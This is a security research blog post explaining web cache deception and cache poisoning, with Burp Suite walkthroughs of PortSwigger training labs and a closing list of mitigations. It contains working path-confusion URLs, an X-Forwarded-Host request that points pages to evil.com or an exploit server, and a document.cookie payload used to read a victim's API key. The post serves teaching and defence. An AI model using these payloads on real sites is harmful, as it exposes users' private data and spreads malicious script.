Web Cache Deception & Poisoning: Weaponizing the Gap Between Cache and Origin | Tağmaç - root@Tagoletta:~#

Web Cache Deception & Poisoning: Weaponizing the Gap Between Cache and Origin

Sat Jun 13 2026

Category: Security Research


Introduction: The Cache Is an Attack Surface

In modern web architecture, content rarely comes straight from the server. A cache layer sits in between: a CDN (Cloudflare, Akamai, Fastly), a reverse proxy (Varnish, Nginx), or an application cache. The goal is performance — keep static files close to the user and spare the origin.

But that layer makes one critical decision: "Should I store this response or not?" and "Under which cache key?"

To decide, the cache interprets the URL, the headers, and the file extension with its own logic. The origin server interprets the same request with completely different logic. The gap between those two interpretations gives rise to two distinct attack classes:

  • Web Cache Deception (WCD): Trick the cache into storing a victim's private page by making it look like a static file. Then request the same URL yourself and pull the victim's data out of the cache.
  • Web Cache Poisoning: Inject a malicious response into a shared cache entry. From that moment, everyone who requests that page gets your payload.

The first is data exfiltration; the second is mass XSS / redirection. Both share one root cause: the cache and the origin see the same request differently.

Part 1 — Web Cache Deception

Omer Gil discovered the technique in 2017 and demonstrated it live against PayPal: reading another user's name, email, and account details out of the cache with a single URL. In 2020 the "Cached and Confused" research (USENIX Security) proved how widespread it was across the internet.

The core idea: the extension lie

Most CDNs are configured with this rule: "Anything ending in .css, .js, .png, .ico, .woff is static → cache it." This rule is convenient but dangerous, because the caching decision only looks at the tail of the filename.

Now consider this request:

GET /account/profile.css HTTP/1.1
Host: target.com
Cookie: session=<victim-session>
  • As the cache sees it: "Ends in .css → static → store it."
  • As the origin sees it: Many frameworks (PHP PATH_INFO, ASP.NET, Ruby/Rails routing) map /account/profile.css to the /account/profile route and ignore the .css suffix. The result: the victim's private profile page is rendered.

If the origin returns that response without a Cache-Control header, the cache stores this private response under the key /account/profile.css — a key anyone can request.

Attack flow

1. Attacker sends the victim a link:
   https://target.com/account/profile.css

2. Victim (logged in) clicks it.
   → Origin renders the victim's profile
   → CDN sees ".css" and CACHES the response

3. Attacker requests the SAME URL (no session):
   GET /account/profile.css
   → CDN returns a HIT from cache
   → Attacker reads the victim's name, email, API token

The key point: in step 3 the attacker does not need the victim's cookie. The data has already landed in the shared cache.

When the extension is blocked: path confusion

Sometimes the origin won't bind a .css suffix to a route (it 404s). Then the attacker moves to path confusion variants. The goal: craft a URL where the cache sees a "static extension" but the origin ignores the suffix.

Technique Payload How the origin reads it
Path parameter /account/profile;x.css ; is a delimiter → /account/profile
Encoded newline /account/profile%0Ax.css stops at %0A/account/profile
Encoded slash /account/profile%2Fx.css cache decodes it differently
Fake segment /account/profile/x.css route ignores the extra segment
Encoded ? / # /account/profile%23x.css origin treats it as fragment/query

In 2024, Martin Doyhenard's PortSwigger research ("Gotta Cache 'em all") systematized these variants: the cache and origin handling delimiters like ;, %2F, %00, \ differently leaves a discrepancy in nearly every CDN+framework combination.

Real world: ChatGPT and others

In 2024, researchers reported a WCD variant in ChatGPT: with a specific path-confusion payload, a sensitive user-scoped response could be cached. Similar findings surfaced across many SaaS platforms that year. The pattern hasn't changed since Omer Gil's 2017 PayPal demo — what changed is the attack surface growing as CDNs became ubiquitous.

Part 2 — Web Cache Poisoning

The other side of the coin. WCD reads data; poisoning writes it. James Kettle's 2018 "Practical Web Cache Poisoning" research defined this class.

Keyed vs unkeyed inputs

The cache decides whether two requests are "the same" using a cache key. The key is usually composed of:

  • Keyed (part of the key): Host header + URL path (+ sometimes the query string)
  • Unkeyed (not in the key): Everything else — User-Agent, X-Forwarded-Host, X-Forwarded-Scheme, Cookie (often), etc.

Here's the problem: if an input is unkeyed, the cache ignores it — but the application may use it and reflect it into the response. Then:

Two requests with the same keyed part (Host + /) collapse into one cache entry despite different unkeyed headers. The attacker can control that entry's body.

The classic example: X-Forwarded-Host reflection

Many applications trust X-Forwarded-Host when generating absolute URLs:

<!-- Server response, built from X-Forwarded-Host -->
<script src="///static/app.js"></script>

The attack:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

The response becomes:

<script src="//evil.com/static/app.js"></script>

Because this header is unkeyed, the cache stores the response under the key target.com/. From then on, every visitor to / executes evil.com/static/app.js → mass stored-XSS.

Common poisoning vectors

  • X-Forwarded-Host, X-Host, X-Forwarded-Scheme → absolute URL / redirect manipulation
  • Unkeyed query parameters (utm_*, ?cb=) → caching a reflected-XSS gadget
  • X-Forwarded-Scheme: http → infinite redirect loop or downgrade
  • Cache key normalization differences: when the cache normalizes / to /index.html but the origin doesn't
  • Fat GET / parameter cloaking: desync cache and origin using a body or duplicated parameters

The DoS variant: Cache Poisoned Denial of Service (CPDoS)

Poisoning doesn't have to mean XSS. An attacker can send a header that makes the origin return an error (e.g. an oversized X-Oversized-Header or a malformed X-HTTP-Method-Override) and get the cache to store that 400/404/500 response. The result: legitimate users are served the error page from cache — the page becomes entirely unavailable.

Detection (Testing Methodology)

When testing either class, reading the cache headers is essential:

X-Cache: HIT | MISS        → did the response come from cache?
Age: 42                    → age of the cache entry (a HIT indicator)
Cache-Control: ...         → what did the origin intend?
CF-Cache-Status: HIT       → Cloudflare-specific

WCD test:

1. Request with a logged-in session:  /account/profile.css
2. Does the response contain private data + X-Cache: MISS then HIT?
3. Request the SAME URL with no session (incognito)
4. If the same private data comes back → DECEPTION confirmed

Poisoning test:

1. GET / + X-Forwarded-Host: canary.attacker.com
2. Is "canary.attacker.com" reflected in the response?
3. Request the same URL without the header → is the canary still there (HIT)?
4. If yes → POISONING confirmed (always prove with a harmless canary first)

Ethics warning: Poisoning tests pollute a shared cache and can affect real users. Only test within an authorized scope, and use an isolated cache-buster query (?cb=random) so you don't corrupt live entries.

Hands-on Lab: Step by Step with Burp Suite

Enough theory — let's get our hands dirty. The environment where you can safely reproduce both walkthroughs below is the PortSwigger Web Security Academy (free, authorized labs). The loop is identical in both; only the injection point changes.

Lab A — Web Cache Poisoning (unkeyed header → XSS)

Goal: Poison the home page so a visiting victim runs alert(document.cookie).

Step 1 — Send the request to Repeater.
In the proxy history, pick the home page request (GET /), right-click → Send to Repeater (Ctrl+R).

Step 2 — Inject a canary + add a cache-buster.
To avoid poisoning your own cache, add a unique query first, then try the suspicious header:

GET /?cb=tago123 HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: c4n4ry.exploit-server.net

Step 3 — Confirm the reflection.
Search the response body for c4n4ry.exploit-server.net. Typically it lands in a resource load:

<script src="//c4n4ry.exploit-server.net/resources/js/tracking.js"></script>

If it reflects, the input is unkeyed but trusted → a poisoning candidate.

Step 4 — Confirm it caches.
Send the same request 2–3 times and watch the headers:

X-Cache: miss   →  first request (from origin)
X-Cache: hit    →  second request (from cache) ✓
Age: 5          →  entry has been cached for 5 seconds

A hit means the response is being cached.

Step 5 — Weaponize.
On the exploit server, place the payload at /resources/js/tracking.js:

alert(document.cookie)

Now remove the cache-buster (to target the real / key) and send the request until you get a hit:

GET / HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: YOUR-exploit-server.net

Result: The / cache entry now carries your script. Every user who opens the home page runs alert(document.cookie). The lab is solved.

Lab B — Web Cache Deception (steal the victim's API key)

Goal: Trick the cache into treating the victim's /my-account page as static, then read the API key with no session.

Step 1 — Recon the target.
Log in, request GET /my-account. The response contains the API key and has no Cache-Control: no-cache (an important tell).

Step 2 — Try path confusion.

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net
Cookie: session=<your-session>

The origin maps it to the /my-account route and ignores the wcd.css suffix → the response still contains the API key. The cache, meanwhile, sees .css.

Step 3 — Confirm caching behavior.
Send it twice: X-Cache: miss on the first, X-Cache: hit on the second. It's being cached as if static.

Step 4 — Deliver to the victim.
Use the exploit server's Deliver exploit to victim to push the victim to:

https://0aXX.web-security-academy.net/my-account/wcd.css

When the victim (logged in) loads this link, the response containing the victim's API key is cached under that key.

Step 5 — Read it without a session.
Request the same URL without cookies (delete the Cookie line in Repeater):

GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net

The cache returns a hit, and the response contains the victim's API key. Steal it, submit, "solved".

Automation with Param Miner

Hunting for unkeyed headers/params by hand is tedious. Burp's Param Miner extension (BApp Store) automates it:

1. Extensions → BApp Store → install "Param Miner"
2. Right-click a request → "Guess headers"
3. Param Miner tries thousands of headers and reports the ones that
   change the response without affecting the cache key (unkeyed-but-reflected)
4. Use "Guess GET parameters" to find cloaking / cache-key parameters

Param Miner also injects a cache-buster automatically — so it scans without corrupting the live cache.

End-to-end WCD automation with AccessContextFuzzer

Param Miner covers the poisoning side (unkeyed headers/params). For the Deception and access-control side, I built a dedicated open-source Burp extension: AccessContextFuzzer.

The manual path-confusion steps we did by hand in Lab B (try a delimiter → append an extension → confirm caching → build the payload) are folded into a four-phase pipeline:

  • Delimiter Discovery — Automatically finds which path delimiters (;, ?, #, %0A, etc.) the server recognizes.
  • Extension Testing — Combines the discovered delimiters with static extensions (.js, .css, .png) to trigger caching behavior.
  • Normalization Discrepancy — Detects the path normalization gap between origin and cache layer (i.e. the root cause of this entire article).
  • Exploit Generation — Synthesizes the findings into a working WCD payload.

The extension also ships 40+ header-spoofing techniques (X-Forwarded-For, X-Real-IP…), automatic baseline re-verification every 50 requests, color-coded anomaly detection, and an OPSEC module that verifies your real IP before testing begins. Its effectiveness is proven on official PortSwigger Web Security Academy labs (URL rewrite bypass, Host header bypass, WCD).

In short: if you want to turn the manual Burp flow from this article into a production pipeline, this is your starting point. Project details · GitHub

Mitigation (Defense)

1. Cache by allow-list, not by extension.
Instead of "store if it's .css," use "only known static paths like /assets/*, /static/* are stored."

2. Send explicit Cache-Control on dynamic responses.

Cache-Control: no-store, private

Every user-specific response must carry this. It's the only sure way to break the cache's "the extension looks static" assumption.

3. Tighten path normalization on the origin.
If a request like /account/profile.css doesn't match a route, return 404; don't silently ignore the suffix. Ensure the cache and origin interpret delimiters ;, %2F, %0A, %00 identically.

4. Add unkeyed inputs to the key, or strip them at the edge.
Strip headers like X-Forwarded-Host at the edge before they reach the origin; if needed, include them in the cache key.

5. Never reflect Host / X-Forwarded-* headers into responses.
Build absolute URLs from server configuration (SERVER_NAME / a fixed base URL), not from request headers.

6. Use the Vary header correctly.
If a response varies by a header, tell the cache to factor it into the key with Vary: X-Forwarded-Host.

Conclusion

Web Cache Deception and Poisoning are two faces of a single root cause: the cache and the origin interpret the same HTTP request differently. One drops the victim's private data into a shared cache; the other injects a malicious response into a shared cache.

With CDNs sitting in front of nearly every web application, these discrepancies create an enormous attack surface. The essence of the defense fits in one sentence: The cache must never mistake anything user-specific for static, and the origin must never blindly reflect user input into a response.


Technique: Web Cache Deception (2017) + Practical Web Cache Poisoning (2018)
Researchers: Omer Gil • James Kettle • Martin Doyhenard
Conference: Black Hat USA / DEF CON • PortSwigger Research
Related: Cache Poisoned DoS (CPDoS), Cache Key Confusion
Reference: https://portswigger.net/research/practical-web-cache-poisoning